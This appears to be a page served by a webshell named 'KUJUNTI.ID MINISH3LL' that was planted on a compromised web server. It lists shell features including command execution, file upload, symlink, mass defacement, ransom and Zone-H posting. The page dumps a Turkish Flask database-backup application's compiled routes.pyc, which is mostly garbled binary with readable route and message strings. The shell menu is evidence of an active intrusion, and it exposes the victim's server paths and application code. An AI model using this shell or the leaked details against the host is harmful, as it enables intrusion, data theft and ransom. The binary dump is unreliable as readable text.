\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv4/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv4/__pycache__/routes.cpython-310.pyc


o

�A�g���@sddlZddlZddlmZmZmZmZmZmZm	Z	ddl
mZddlm
Z
ddlmZmZddlmZmZmZmZddlmZmZmZmZddlmZmZmZmZmZm Z dd	l!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(dd
l)m*Z*m+Z+ddl,m-Z-m.Z.ddl/m0Z0m1Z1dd
l2m3Z3e�4d�edd���Z5e�4d�edd���Z6ej4ddgd�edd���Z7ej4ddgd�edd���Z8e�4d�edd���Z9e�4d�ed d!���Z:ej4d"dgd�ed#d$���Z;ej4d%dgd�ed&d'���Z<e�4d(�ed)d*���Z=e�4d+�ed,d-���Z>ej4d.dgd�ed/d0���Z?ej4d1d2dgd�ed3d4���Z@ej4d5dgd�ed6d7���ZAej4d8dgd�ed9d:���ZBej4d;dgd�ed<d=���ZCe�4d>�ed?d@���ZDej4dAdgd�edBdC���ZEe�4dD�edEdF���ZFej4dGdgd�edHdI���ZGej4dJdgd�edKdL���ZHej4dMdgd�edNdO���ZIej4dPdgd�edQdR���ZJe�4dS�dTdU��ZKe�4dV�dWdX��ZLe�4dY�dZd[��ZMej4d\d2dgd�d]d^��ZNe�4d_�d`da��ZOe�4db�edcdd���ZPej4dedgd�edfdg���ZQej4dhdgd�edidj���ZRej4dkdgd�edldm���ZSdndo�ZTdS)p�N)�render_template�request�redirect�url_for�flash�jsonify�session)�SQLAlchemyError)�text)�_�
get_locale)�
login_user�logout_user�current_user�login_required)�app�db�logger�mail)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog�SmtpSettings�User)�DatabaseConnectionForm�StorageTargetForm�
BackupJobForm�SmtpSettingsForm�	LoginForm�RegistrationForm�EncryptionKeyForm)�test_database_connection�
run_backup)�test_storage_connection�get_storage_space)�schedule_backup_job�remove_scheduled_job)�restore_from_backup�/c
Cs>tj�tj����d���}tj��}tj��}t	j��}tjj
dd���}tjj
dd���}g}|D]Y}z&t|�\}}	|	dkrF||	dnd}
|
dk}|�
|j|j||	|
|d��Wq3ty�}z%t�d|j�d	t|����|�
|j|jdddd
t|�d��WYd}~q3d}~wwtd
|t|�t|�t|�|||d�S)z1Render the dashboard page with backup statistics.�
�success)�status�failedr�d)�id�name�
free_space�total_space�percent_free�warning� Error getting storage space for �: T)r/r0r1r2r3r4�errorNzdashboard.html)�recent_logs�db_count�
storage_count�	job_count�
success_count�failed_count�storage_info)r�query�order_by�	timestamp�desc�limit�allrrr�	filter_by�countr%�appendr/r0�	Exceptionrr7�strr�len)
r8�db_connections�storage_targets�backup_jobsr<r=r>�targetr1r2r3r4�e�rP�8/var/www/html/yedekledb24/DatabaseBackupMaster/routes.py�indexsT


�����rRz
/databasescCstj��}t�}td||d�S)z%Render the database connections page.zdatabases.html�rK�form)rr?rDrrrSrPrPrQ�	databasesJs
rUz/databases/add�POST)�methodsc
Cs�t��sttd�d�ttd��St�}|��r�zXt|j	j
|jj
|jj
|j
j
|jj
|jj
d�}|rht|jj
|j	j
|jj
|jj
|j
j
|jj
|jj
|j	j
dkrQ|jj
ndd�}tj�|�tj��ttd�d	�nttd
�d�WnZty�}ztj��tdt|���d�WYd}~n>d}~wty�}ztdt|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj�d
|��d�q�q�ttd��S)zAdd a new database connection.u-Veritabanı bağlantısı ekleme izniniz yok.�dangerrU��db_type�host�port�username�password�database�
postgresqlN)r0rZr[r\r]r^r_�
pg_versionu.Veritabanı bağlantısı başarıyla eklendi!r+uCVeritabanına bağlanılamadı. Lütfen bilgilerinizi kontrol edin.�Database error: �Error: r6) r�can_manage_db_connectionsrrrrr�validate_on_submitr"rZ�datar[r\r]r^r_rr0rarr�add�commitr	�rollbackrIrH�errors�items�getattr�labelr
)rT�connection_success�new_dbrO�fieldrjr7rPrPrQ�add_databaseRsV�	�
�
 � �� �rqz/databases/delete/<int:db_id>c
C�t��sttd�d�ttd��Sz3tj�|�}t	jj
|d���}|r1ttd�d�ttd��WStj
�|�tj
��ttd�d�Wn<tye}ztj
��tdt|���d�WYd	}~n d	}~wty�}ztd
t|���d�WYd	}~nd	}~wwttd��S)zDelete a database connection.u,Veritabanı bağlantısı silme izniniz yok.rXrU)�database_idu:Yedekleme görevlerinde kullanılan veritabanı silinemez.u.Veritabanı bağlantısı başarıyla silindi!r+�Veritabanı hatası: N�Hata: )rrdrrrrrr?�
get_or_404rrErDrr�deleterhr	rirIrH)�db_id�db_conn�jobsrOrPrPrQ�delete_database��*

 � ��r{z/databases/test/<int:db_id>c
C�z)tj�|�}t|j|j|j|j|j|j	d�}|r!t
td�d�nt
td�d�WntyE}zt
dt
|���d�WYd}~nd}~wwttd��S)	zTest a database connection.rYu&Veritabanı bağlantısı başarılı!r+uVeritabanına bağlanılamadı.rXu&Veritabanı bağlantı testi hatası: NrU)rr?rvr"rZr[r\r]r^r_rrrHrIrr)rxryrnrOrPrPrQ�
test_database��&�	� ��r~z/storagecCs�tj��}t�}|D]T}z!t|�\}}||_||_|dkr#||dnd|_|jdk|_Wq
t	y^}z%t
�d|j�dt
|����d|_d|_d|_d|_t
|�|_WYd}~q
d}~wwtd||d	�S)
z Render the storage targets page.rr.r*r5r6TNzstorage.html)rLrT)rr?rDrr%r1r2r3r4rHrr7r0rIr)rLrTrNr1r2rOrPrPrQ�storage�s&
��r�z/storage/addc
Cs�t��sttd�d�ttd��St�}|��r�zMt|j	j
|jj
|jj
|j
j
|jj
|jj
d�}|r]t|jj
|j	j
|jj
|jj
|j
j
|jj
|jj
d�}tj�|�tj��ttd�d�nttd�d�WnZty�}ztj��td	t|���d�WYd
}~n>d
}~wty�}ztdt|���d�WYd
}~n#d
}~ww|j��D]\}}|D]}tt||�jj�d|��d�q�q�ttd��S)
zAdd a new storage target.z#Depolama hedefi ekleme izniniz yok.rXr���storage_typer[r\r]r^�path)r0r�r[r\r]r^r�u$Depolama hedefi başarıyla eklendi!r+uNDepolama hedefine bağlanılamadı. Lütfen kimlik bilgilerinizi kontrol edin.rbNrcr6)r�can_manage_storagerrrrrrer$r�rfr[r\r]r^r�rr0rrrgrhr	rirIrHrjrkrlrmr
)rTrn�new_storagerOrprjr7rPrPrQ�add_storage�sT�	�

�
 � �� �r�z /storage/delete/<int:storage_id>c
Crr)zDelete a storage target.z"Depolama hedefi silme izniniz yok.rXr�)�
storage_idu>Yedekleme görevlerinde kullanılan depolama hedefi silinemez.u$Depolama hedefi başarıyla silindi!r+rtNru)rr�rrrrrr?rvrrErDrrrwrhr	rirIrH)r��storage_targetrzrOrPrPrQ�delete_storage	r|r�z/storage/test/<int:storage_id>c
Cr})	zTest a storage connection.r�u)Depolama hedefine bağlantı başarılı!r+u#Depolama hedefine bağlanılamadı.rXu*Depolama hedefi bağlantı testi hatası: Nr�)rr?rvr$r�r[r\r]r^r�rrrHrIrr)r�r�rnrOrPrPrQ�test_storage&rr�z/backup_jobscCs�tj��}tj��}tj��}t�}ddlm}|�}dd�|D�|j_	dd�|D�|j
_	zddlm}|j��}dgdd�|D�|j
_	Wn	d	g|j
_	Ytj�d
d�}|r]||j_|D]V}	tjj|	jd��tj�����|	_d
|	_z"tj}
d|	j��}|
��D]}|j|kr�t|d�r�|j |	_nq�Wq_t!t"fy�}
zt#�$dt%|
����WYd
}
~
q_d
}
~
wwt&d|||||d�S)zRender the backup jobs page.r��	FlaskFormcS�g|]}|j|jf�qSrP�r/r0��.0rrPrPrQ�
<listcomp>P�zbackup_jobs.<locals>.<listcomp>cSr�rPr��r��srPrPrQr�Qr���
EncryptionKey�ruAnahtar Seçiniz...cS�&g|]}|j|j�d|j�d�f�qS�z <�>�r/r0�email�r��krPrPrQr�W�&�ru#Şifreleme Anahtarları Bulunamadı�BACKUP_ENCRYPTION_PSK�)�job_idN�backup_job_�
next_run_timeu+Zamanlayıcıya erişilirken hata oluştu: zbackup_jobs.html)rMrKrLrT�	csrf_form)'rr?rDrrr�	flask_wtfr�rs�choicesr��modelsr��encryption_key_id�os�environ�get�encryption_passphraserfrrEr/r@rArB�first�last_log�next_runr�	scheduler�get_jobs�hasattrr��AttributeErrorrHrr7rIr)rMrKrLrTr�r�r��encryption_keys�default_passphrase�jobr�r��
scheduler_jobrOrPrPrQrMBsN



"� ���rMz/backup_jobs/addc

Cs�t��sttd�d�ttd��Stj��}t	j��}t
�}dd�|D�|j_dd�|D�|j
_zddlm}|j��}d	gd
d�|D�|j_Wn	dg|j_Y|���r(z�t|jj|jj|j
j|jj|jj|jj|jjd�}z<t|d
�r�|jj|_|jjr�|jjnd|_|jjr�|jjdkr�|jjdkr�|jj|_n|jjdkr�|jjr�|jj|_WnYzt|d�r�|jj|_|jjr�|jjnd|_WnYtj �!|�tj �"�|jr�t#|�ttd�d�Wn^t$�y}ztj �%�tdt&|���d�WYd}~nAd}~wt'�y'}ztdt&|���d�WYd}~n%d}~ww|j(�)�D]\}}|D]}	tt*||�j+j,�d|	��d��q3�q-ttd��S)zAdd a new backup job.u%Yedekleme görevi ekleme izniniz yok.rXrMcSr�rPr�r�rPrPrQr��r�z"add_backup_job.<locals>.<listcomp>cSr�rPr�r�rPrPrQr��r�rr�r�cSr�r�r�r�rPrPrQr��r�r�)r0rsr��
schedule_type�schedule_value�retention_days�enabled�encrypt_backupN�
asymmetric�	symmetric�compress_backup�zipu&Yedekleme görevi başarıyla eklendi!r+rtrur6)-r�can_manage_backup_jobsrrrrrr?rDrrrsr�r�r�r�r�rerr0rfr�r�r�r�r�r��encryption_typer�r��compression_typerrrgrhr&r	rirIrHrjrkrlrmr
)
rKrLrTr�r��new_jobrOrprjr7rPrPrQ�add_backup_job}s|



�


�

�

 � ��"�r�z/backup_jobs/edit/<int:job_id>�GETc

Cst��sttd�d�ttd��Stj�|�}t	j�
�}tj�
�}t|d�}dd�|D�|j
_dd�|D�|j_zdd	lm}|j�
�}d
gdd�|D�|j_Wn	dg|j_Ytjd
k�r\|���r\z�|jj|_|j
j|_
|jj|_|jj|_|jj|_|jj|_|j}|jj|_z<t|d�r�|jj|_|jjr�|jjnd|_|jjr�|jjdkr�|jjdkr�|jj|_n|jjdkr�|jjr�|jj|_WnYzt|d�r�|j j|_ |j jr�|j!jnd|_!WnYt"j#�$�||jk�r|jr�t%|�nt&|j'�n
|j�rt&|j'�t%|�ttd�d�ttd��WSt(�y?}zt"j#�)�tdt*|���d�WYd}~n�d}~wt+�y[}ztdt*|���d�WYd}~n�d}~wwtjdk�r�|j|j_|j
|j
_|j|j_|j|j_|j|j_|j|j_|j|j_z6t|d��r�|j|j_|j�p�d|j_|j�r�|j|j_|j�r�|j|j_nt,j-�.dd�}	|	�r�|	|j_WnYzt|d��r�|j |j _|j!�p�d|j!_Wn%Yn |j/�0�D]\}
}|D]}tt1||
�j2j3�d|��d��q�q�t4d||||d�S)zEdit an existing backup job.u)Yedekleme görevi düzenleme izniniz yok.rXrM)�objcSr�rPr�r�rPrPrQr��r�z#edit_backup_job.<locals>.<listcomp>cSr�rPr�r�rPrPrQr��r�rr�r�cSr�r�r�r�rPrPrQr��r�r�rVr�Nr�r�r�r�u+Yedekleme görevi başarıyla güncellendi!r+rtrur�r�r�r6zedit_backup_job.html)rTr�rKrL)5rr�rrrrrr?rvrrDrrrsr�r�r�r�r�r�methodrer0rfr�r�r�r�r�r�r�r�r�r�rrrhr&r'r/r	rirIrHr�r�r�rjrkrlrmr
r)
r�r�rKrLrTr�r��was_enabledrOr�rprjr7rPrPrQ�edit_backup_job�s�













�

�



 � ��








�
�"��r�z /backup_jobs/delete/<int:job_id>c
CsXt��sttd�d�ttd��SzXzd}tj�t	|�d|i�tj�
�Wn!tyG}ztj��t
�dt|����WYd}~nd}~wwtj�|�}|jrVt|j�tj�|�tj�
�ttd�d	�Wn<ty�}ztj��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)zDelete a backup job.u$Yedekleme görevi silme izniniz yok.rXrMz-DELETE FROM backup_log WHERE job_id = :job_idr�u!Log kayıtları silinirken hata: Nu&Yedekleme görevi başarıyla silindi!r+rtru)rr�rrrrrr�executer
rhrHrirr7rIrr?rvr�r'r/rwr	)r��sqlrOr�rPrPrQ�delete_backup_job`s8
 ��


 � ��r�z /backup_jobs/toggle/<int:job_id>c
Cst��sttd�d�ttd��Sz-tj�|�}|j	|_	|j	r,t
|�ttd�d�nt|j�ttd�d�t
j��Wn<ty_}zt
j��tdt|���d�WYd}~n d}~wtyz}ztd	t|���d�WYd}~nd}~wwttd��S)
z'Toggle enabled status for a backup job.u4Yedekleme görevi durumunu değiştirme izniniz yok.rXrMu/Yedekleme görevi başarıyla etkinleştirildi!r+u9Yedekleme görevi başarıyla devre dışı bırakıldı!rtNru)rr�rrrrrr?rvr�r&r'r/rrrhr	rirIrH)r�r�rOrPrPrQ�toggle_backup_job�s*


 � ��r�z/backup_jobs/run/<int:job_id>c
Cs�ztj�|�}t|dd�}|rttd�d�nttd�d�Wnty;}ztdt|���d�WYd}~nd}~wwtt	d	��S)
zRun a backup job manually.T)�
send_emailuSYedekleme görevi başarıyla çalıştırıldı! E-posta bildirimleri gönderildi.r+uYYedekleme görevi çalıştırma başarısız oldu. Detaylar için logları kontrol edin.rXruNrM)
rr?rvr#rrrHrIrr)r�r�r+rOrPrPrQ�run_backup_job�s� ��r�z/logscCsRtjjddtd�}d}tj�tj���j	||d�}ddl
m}|�}td||d	�S)
zRender the backup logs page.�page�)�type�)r��per_pagerr�z	logs.html)�backup_logsrT)
r�argsr��intrr?r@rArB�paginater�r�r)r�r�r�r�rTrPrPrQ�logs�sr�z/restore/<int:log_id>c
Cs�t��sttd�d�ttd��Sz�tj�|�}|j	dkr+ttd�d�ttd��WS|j
r5tj�
|j
�sCttd�d�ttd��WStj�dd�}d	d
lm}|�}t||�}|dsp|�d�rptd||jj|jjj|d
�WS|dr�t|jddtj�|j
���|j
|jd	d�}tj�|�tj��ttd�d�nttd�|dd�Wn&ty�}zt �!dt"|����tdt"|���d�WYd}~nd}~wwttd��S)z!Restore a database from a backup.u&Veritabanı geri yükleme izniniz yok.rXr�r+u/Sadece başarılı yedekler geri yüklenebilir.uYedek dosyası bulunamadı.�
passphraseNrr��needs_passphrasezrestore_password.html)�log_id�job_name�
database_namerTuGeri yükleme başarılı: )r�r,�message�backup_file�backup_size�durationu'Veritabanı başarıyla geri yüklendi!u#Veritabanı geri yükleme hatası: r�zRestore error: uGeri yükleme hatası: )#rr�rrrrrr?rvr,r�r�r��existsrrTr�r�r�r(rr�r0r_r��basenamer�rrrgrhrHrr7rI)r��
backup_logr�r�rT�result�new_logrOrPrPrQ�restore_backup�sT

��
� ��r�z	/settingscCs�t��}t�}t�}g}z
ddlm}|j��}WnYtj��}|rI|j	r*dnd}|j
|j
_|j|j_|j
|j
_|j|j_||j_|j|j_td||||d�S)zRender the settings page.rr��ssl�tlsz
settings.html)�
mail_settings�	smtp_form�encryption_formr�)r�get_settingsrr!r�r�r?rDr��mail_use_ssl�mail_serverrf�
mail_username�
mail_password�mail_default_sender�mail_connection_type�notification_emailsr)�
smtp_settingsr�r�r�r��settings_record�connection_typerPrPrQ�settingss0





�r�z/settings/smtpc	
CsXtjsttd�d�ttd��St�}|���rz�|jj	dk}|jj	dk}|r)dnd}t
j��}|rU|j
j	|_
||_||_||_|jj	|_|jj	|_|jj	|_|jj	|_nt
|j
j	||||jj	|jj	|jj	|jj	d�}tj�|�tj��|j
tjd	<|jtjd
<|jtjd<|jtjd<|jtjd
<|jtjd<|jtjd<|j
tjd	<t|j�tjd
<t|j�tjd<t|j�tjd<|jtjd
<|jtjd<|jtjd<|jtjd<t�t�ttd�d�WnBt �y}ztj�!�tdt|���d�WYd}~n%d}~ww|j"�#�D]\}}|D]}tt$||�j%j&�d|��d��q�qttd��S)zSave SMTP email settings.u.E-posta ayarlarını değiştirme izniniz yok.rXr�r�r�iKi�)r��	mail_port�mail_use_tlsr�r�r�r�r��MAIL_SERVER�	MAIL_PORT�MAIL_USE_TLS�MAIL_USE_SSL�
MAIL_USERNAME�
MAIL_PASSWORD�MAIL_DEFAULT_SENDER�BACKUP_NOTIFICATION_EMAILSu)E-posta ayarları başarıyla kaydedildi!r+u'E-posta ayarlarını kaydederken hata: Nr6)'r�is_adminrrrrrrer�rfrr?r�r�r�r�r�r�r�r�r�rrrgrhr�configr�r�rIr�init_apprHrirjrkrlrmr
)	rT�is_tls�is_sslr\r�rOrprjr7rPrPrQ�save_smtp_settings8st





�



 ��"�rz/settings/encryption_key/addc	Cs�tjsttd�d�ttd��St�}|��r�zjddlm	}||j
j|jj|j
jr-|j
jnd|jj|jjd�}|ryddlm}||j
j|jj|jj|jj|�d	d
�|�dd
�|jjr`|�dd
�ndtjd
�}tj�|�tj��ttd�d�nttd�d�Wn?ty�}ztj��tdt|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj �d|��d�q�q�ttd��S)z Create a new GPG encryption key.u%GPG anahtarı oluşturma izniniz yok.rXr�r)�generate_gpg_keyN)r0r�r��key_type�
key_lengthr��fingerprintr��
public_key�private_key)r0r�rrrrr�
created_byu2GPG şifreleme anahtarı başarıyla oluşturuldu!r+uGPG anahtarı oluşturulamadı.u"GPG anahtarı oluşturma hatası: r6)!rrrrrrr!re�encryption_utilsr
r0rfr�r�rrr�r�r��store_private_keyr/rrrgrhrHrirIrjrkrlrmr
)	rTr
�
key_resultr��new_keyrOrprjr7rPrPrQ�add_encryption_key�sR�

�
�
 �� �rz,/settings/encryption_key/delete/<int:key_id>c
Cstjsttd�d�ttd��Sz9ddlm}|j�	|�}t
jj|d���}|r6ttd�d�ttd��WSt
j�|�t
j��ttd�d	�Wn<tyj}zt
j��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zDelete a GPG encryption key.u GPG anahtarı silme izniniz yok.rXr�rr�)r�u<Yedekleme görevlerinde kullanılan GPG anahtarı silinemez.u"GPG anahtarı başarıyla silindi!r+rtNru)rrrrrrr�r�r?rvrrErDrrrwrhr	rirIrH)�key_idr��encryption_keyrzrOrPrPrQ�delete_encryption_key�s,

 � ��rz/settings/test_emailc
Cs�tjsttd�d�ttd��Sz>tj�dd�}|s(ttd�d�ttd��WSdd�|�	d	�D�}d
dl
m}||�}|rFttd�d
�nttd�d�Wntyj}ztdt
|���d�WYd}~nd}~wwttd��S)z+Send a test email to verify email settings.u&Test e-postası gönderme izniniz yok.rXr��email_addressesr�uHLütfen test e-postası göndermek için en az bir e-posta adresi girin.cSsg|]}|���qSrP)�strip)r�r�rPrPrQr��sztest_email.<locals>.<listcomp>�,r)�send_test_emailuMTest e-postası başarıyla gönderildi! Lütfen gelen kutunuzu kontrol edin.r+uMTest e-postası gönderilemedi. Lütfen e-posta ayarlarınızı kontrol edin.u#Test e-postası gönderme hatası: N)rrrrrrrrTr��split�email_utilsrrHrI)�recipients_str�
recipientsrr+rOrPrPrQ�
test_email�s(� ��r$z/api/dashboard_statsc	Cs�ddlm}ddl}|j��|jdd�}tj�|�t	j
��d�t	j|�
��d���t	j
|k��|�t	j
�t	j���}tttdd	�|D����}dgt|�}dgt|�}|D]}|�|j�d
��}|jdkrn|j
||<qX|j
||<qXt|||d��S)
z&API endpoint for dashboard statistics.r)�funcN�)�days�daterFcSsg|]}|j�d��qS)�%Y-%m-%d)r(�strftime)r��statrPrPrQr�r�z#dashboard_stats.<locals>.<listcomp>r)r+)�labelsr+r-)�
sqlalchemyr%�datetime�now�	timedeltarrr?r(rrArmr,rF�filter�group_byrD�sorted�list�setrJrRr*r)	r%r.�seven_days_ago�daily_stats�dates�success_data�failed_datar+�
date_indexrPrPrQ�dashboard_statss<��
��
�r<z/set_language/<lang>cCs0|dvr|td<ttd�d�ttjptd��S)z"Set the user's preferred language.)�en�tr�langzLanguage changed successfully!r+rR)rrrrr�referrerr)r?rPrPrQ�set_language.srAz/set_theme/<theme>cCsdtd<ttjptd��S)zSet the user's preferred theme.�light�themerR)rrrr@r)rCrPrPrQ�	set_theme6srDz/logincCs�tjr	ttd��St�}|��r[tjj|j	j
d���}|dus&|�|j
j
�s3ttd�d�ttd��St||jj
d�tj��|_tj��tj�d�}|rS|�d	�sWtd�}t|�Std
td�|d�S)
zLogin page.rR)r]Nu&Geçersiz kullanıcı adı veya şifrerX�login)�remember�nextr)z
login.htmlu
Giriş Yap)�titlerT)r�is_authenticatedrrrrerr?rEr]rfr��check_passwordr^rrr
�remember_mer.�utcnow�
last_loginrrrhrr�r��
startswithr)rT�user�	next_pagerPrPrQrE>s 
rEz/logoutcCst�ttd��S)zLogout the current user.rE)rrrrPrPrPrQ�logoutYsrQz/userscCs@tjsttd�d�ttd��Stj��}t	�}t
d||td�S)z Render the user management page.uBu sayfaya erişim izniniz yok.rXrRz
users.html)�usersrTr)rrrrrrrr?rDr r)rRrTrPrPrQrRas
�rRz
/users/addc
Cs@tjsttd�d�ttd��St�}|��r|z(t|j	j
|jj
|jj
d�}|�|j
j
�tj�|�tj��ttd�d�WnZty`}ztj��tdt|���d�WYd}~n>d}~wty{}ztd	t|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj�d
|��d�q�q�ttd��S)zAdd a new user.uKullanıcı ekleme izniniz yok.rXrR�r]r�ru Kullanıcı başarıyla eklendi!r+rtNrur6rR)rrrrrrr rerr]rfr��set_passwordr^rrrgrhr	rirIrHrjrkrlrmr
)rT�new_userrOrprjr7rPrPrQ�add_userrs8�

 � �� �rVz/users/delete/<int:user_id>c
Cs(tjsttd�d�ttd��SzAtj�|�}|j	dkr*ttd�d�ttd��WS|j
tj
kr>ttd�d�ttd��WStj�
|�tj��ttd�d	�Wn<tyr}ztj��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zDelete a user.uKullanıcı silme izniniz yok.rXrR�adminu#Ana admin kullanıcısı silinemez.rRzKendinizi silemezsiniz.u Kullanıcı başarıyla silindi!r+rtNru)rrrrrrrr?rvr]r/rrrwrhr	rirIrH��user_idrOrOrPrPrQ�delete_user�s.


 � ��rZz!/users/toggle_admin/<int:user_id>c
Cstjsttd�d�ttd��Sz;tj�|�}|j	dkr*ttd�d�ttd��WS|j|_t
j��|jrAt|j	�d�d�n	t|j	�d	�d�Wn<t
yl}zt
j��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zToggle admin status for a user.uYetki değiştirme izniniz yok.rXrRrWu6Ana admin kullanıcısının yetkisi değiştirilemez.rRu( kullanıcısına admin yetkisi verildi.r+u0 kullanıcısının admin yetkisi kaldırıldı.rtNru)rrrrrrrr?rvr]rrrhr	rirIrHrXrPrPrQ�toggle_user_admin�s.


�
 � ��r[c
Cs�tj��dkr	dSz t||dd�}|�|�tj�|�tj��dd|�d�fWStyI}ztj�	�ddt
|���fWYd	}~Sd	}~ww)
ut
    Komut satırı aracından çağrılmak üzere tasarlanmıştır.
    İlk admin kullanıcıyı oluşturur.
    r)Fu(Sistemde zaten kullanıcılar bulunuyor!TrSuAdmin kullanıcı u başarıyla oluşturuldu!FruN)rr?rFrTrrrgrhrHrirI)r]r�r^rOrOrPrPrQ�create_admin_user�s


��r\)Ur�r.�flaskrrrrrrr�sqlalchemy.excr	�sqlalchemy.sql.expressionr
�flask_babelrr�flask_loginr
rrrrrrrr�rrrrrr�formsrrrrrr r!�backup_utilsr"r#�
storage_utilsr$r%r�r&r'�restore_databaser(�routerRrUrqr{r~r�r�r�r�rMr�r�r�r�r�r�r�r�rrrr$r<rArDrErQrRrVrZr[r\rPrPrPrQ�<module>s�$ $7109S
'
>(T4
(



 #

© KUJUNTI.ID